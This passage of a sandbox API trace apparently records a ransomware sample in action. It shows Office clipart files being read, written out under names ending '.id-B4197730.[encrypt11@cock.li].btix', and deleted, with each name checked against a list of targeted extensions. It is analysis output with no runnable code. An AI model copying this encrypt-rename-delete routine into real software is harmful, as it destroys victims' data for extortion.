GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3840) returned 1 [0150.377] CloseHandle (hObject=0x384) returned 1 [0150.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0150.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.378] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.378] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.379] GetLastError () returned 0x0 [0150.379] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xf00, lpOverlapped=0x0) returned 1 [0150.379] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xf10, lpOverlapped=0x0) returned 1 [0150.380] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.380] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.380] SetEndOfFile (hFile=0x388) returned 1 [0150.381] CloseHandle (hObject=0x388) returned 1 [0150.381] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.381] SetEndOfFile (hFile=0x384) returned 1 [0150.386] CloseHandle (hObject=0x384) returned 1 [0150.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.387] lstrlenW (lpString=".doc") returned 4 [0150.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString=".docx") returned 5 [0150.387] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0150.387] lstrlenW (lpString=".pdf") returned 4 [0150.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString=".xls") returned 4 [0150.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.387] lstrlenW (lpString=".xlsx") returned 5 [0150.387] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0150.387] lstrlenW (lpString=".ppt") returned 4 [0150.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.387] lstrlenW (lpString=".zip") returned 4 [0150.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.387] lstrlenW (lpString=".rar") returned 4 [0150.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString=".bz2") returned 4 [0150.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString=".7z") returned 3 [0150.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.387] lstrlenW (lpString=".dbf") returned 4 [0150.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.387] lstrlenW (lpString=".1cd") returned 4 [0150.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.387] lstrlenW (lpString=".jpg") returned 4 [0150.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.388] lstrlenW (lpString=".doc") returned 4 [0150.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString=".docx") returned 5 [0150.388] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0150.388] lstrlenW (lpString=".pdf") returned 4 [0150.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString=".xls") returned 4 [0150.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.388] lstrlenW (lpString=".xlsx") returned 5 [0150.388] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0150.388] lstrlenW (lpString=".ppt") returned 4 [0150.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.388] lstrlenW (lpString=".zip") returned 4 [0150.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.388] lstrlenW (lpString=".rar") returned 4 [0150.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString=".bz2") returned 4 [0150.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString=".7z") returned 3 [0150.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.388] lstrlenW (lpString=".dbf") returned 4 [0150.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.388] lstrlenW (lpString=".1cd") returned 4 [0150.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0150.389] lstrlenW (lpString=".jpg") returned 4 [0150.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.389] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.389] lstrlenW (lpString="J0099183.WMF") returned 12 [0150.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.389] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4946) returned 1 [0150.389] CloseHandle (hObject=0x384) returned 1 [0150.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0150.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.389] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.390] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.390] GetLastError () returned 0x0 [0150.390] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1352, lpOverlapped=0x0) returned 1 [0150.391] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1360, lpOverlapped=0x0) returned 1 [0150.392] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.392] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.392] SetEndOfFile (hFile=0x388) returned 1 [0150.392] CloseHandle (hObject=0x388) returned 1 [0150.392] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.392] SetEndOfFile (hFile=0x384) returned 1 [0150.393] CloseHandle (hObject=0x384) returned 1 [0150.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.393] lstrlenW (lpString=".doc") returned 4 [0150.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString=".docx") returned 5 [0150.394] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0150.394] lstrlenW (lpString=".pdf") returned 4 [0150.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".xls") returned 4 [0150.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.394] lstrlenW (lpString=".xlsx") returned 5 [0150.394] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0150.394] lstrlenW (lpString=".ppt") returned 4 [0150.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.394] lstrlenW (lpString=".zip") returned 4 [0150.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.394] lstrlenW (lpString=".rar") returned 4 [0150.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".bz2") returned 4 [0150.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString=".7z") returned 3 [0150.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.394] lstrlenW (lpString=".dbf") returned 4 [0150.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.394] lstrlenW (lpString=".1cd") returned 4 [0150.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.394] lstrlenW (lpString=".jpg") returned 4 [0150.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.394] lstrlenW (lpString=".doc") returned 4 [0150.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString=".docx") returned 5 [0150.395] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0150.395] lstrlenW (lpString=".pdf") returned 4 [0150.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString=".xls") returned 4 [0150.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.395] lstrlenW (lpString=".xlsx") returned 5 [0150.395] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0150.395] lstrlenW (lpString=".ppt") returned 4 [0150.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.395] lstrlenW (lpString=".zip") returned 4 [0150.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.395] lstrlenW (lpString=".rar") returned 4 [0150.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString=".bz2") returned 4 [0150.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString=".7z") returned 3 [0150.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.395] lstrlenW (lpString=".dbf") returned 4 [0150.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.395] lstrlenW (lpString=".1cd") returned 4 [0150.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0150.395] lstrlenW (lpString=".jpg") returned 4 [0150.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.396] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.396] lstrlenW (lpString="J0099184.WMF") returned 12 [0150.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.396] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4118) returned 1 [0150.396] CloseHandle (hObject=0x384) returned 1 [0150.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0150.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.396] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.396] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.397] GetLastError () returned 0x0 [0150.397] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1016, lpOverlapped=0x0) returned 1 [0150.398] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1020, lpOverlapped=0x0) returned 1 [0150.399] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.399] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.399] SetEndOfFile (hFile=0x388) returned 1 [0150.399] CloseHandle (hObject=0x388) returned 1 [0150.399] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.399] SetEndOfFile (hFile=0x384) returned 1 [0150.400] CloseHandle (hObject=0x384) returned 1 [0150.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0150.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.400] lstrlenW (lpString=".doc") returned 4 [0150.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.400] lstrlenW (lpString=".docx") returned 5 [0150.400] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.400] lstrlenW (lpString=".pdf") returned 4 [0150.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString=".xls") returned 4 [0150.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.401] lstrlenW (lpString=".xlsx") returned 5 [0150.401] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.401] lstrlenW (lpString=".ppt") returned 4 [0150.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.401] lstrlenW (lpString=".zip") returned 4 [0150.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.401] lstrlenW (lpString=".rar") returned 4 [0150.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString=".bz2") returned 4 [0150.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString=".7z") returned 3 [0150.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.401] lstrlenW (lpString=".dbf") returned 4 [0150.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.401] lstrlenW (lpString=".1cd") returned 4 [0150.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.401] lstrlenW (lpString=".jpg") returned 4 [0150.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.401] lstrlenW (lpString=".doc") returned 4 [0150.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.401] lstrlenW (lpString=".docx") returned 5 [0150.401] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.402] lstrlenW (lpString=".pdf") returned 4 [0150.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.402] lstrlenW (lpString=".xls") returned 4 [0150.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.402] lstrlenW (lpString=".xlsx") returned 5 [0150.402] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.402] lstrlenW (lpString=".ppt") returned 4 [0150.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.402] lstrlenW (lpString=".zip") returned 4 [0150.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.402] lstrlenW (lpString=".rar") returned 4 [0150.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.402] lstrlenW (lpString=".bz2") returned 4 [0150.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.402] lstrlenW (lpString=".7z") returned 3 [0150.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.402] lstrlenW (lpString=".dbf") returned 4 [0150.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.402] lstrlenW (lpString=".1cd") returned 4 [0150.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0150.402] lstrlenW (lpString=".jpg") returned 4 [0150.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.402] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.403] lstrlenW (lpString="J0099185.JPG") returned 12 [0150.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.403] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3282) returned 1 [0150.403] CloseHandle (hObject=0x384) returned 1 [0150.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0150.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.403] CreateFileW (lpFileName="C:\\Program 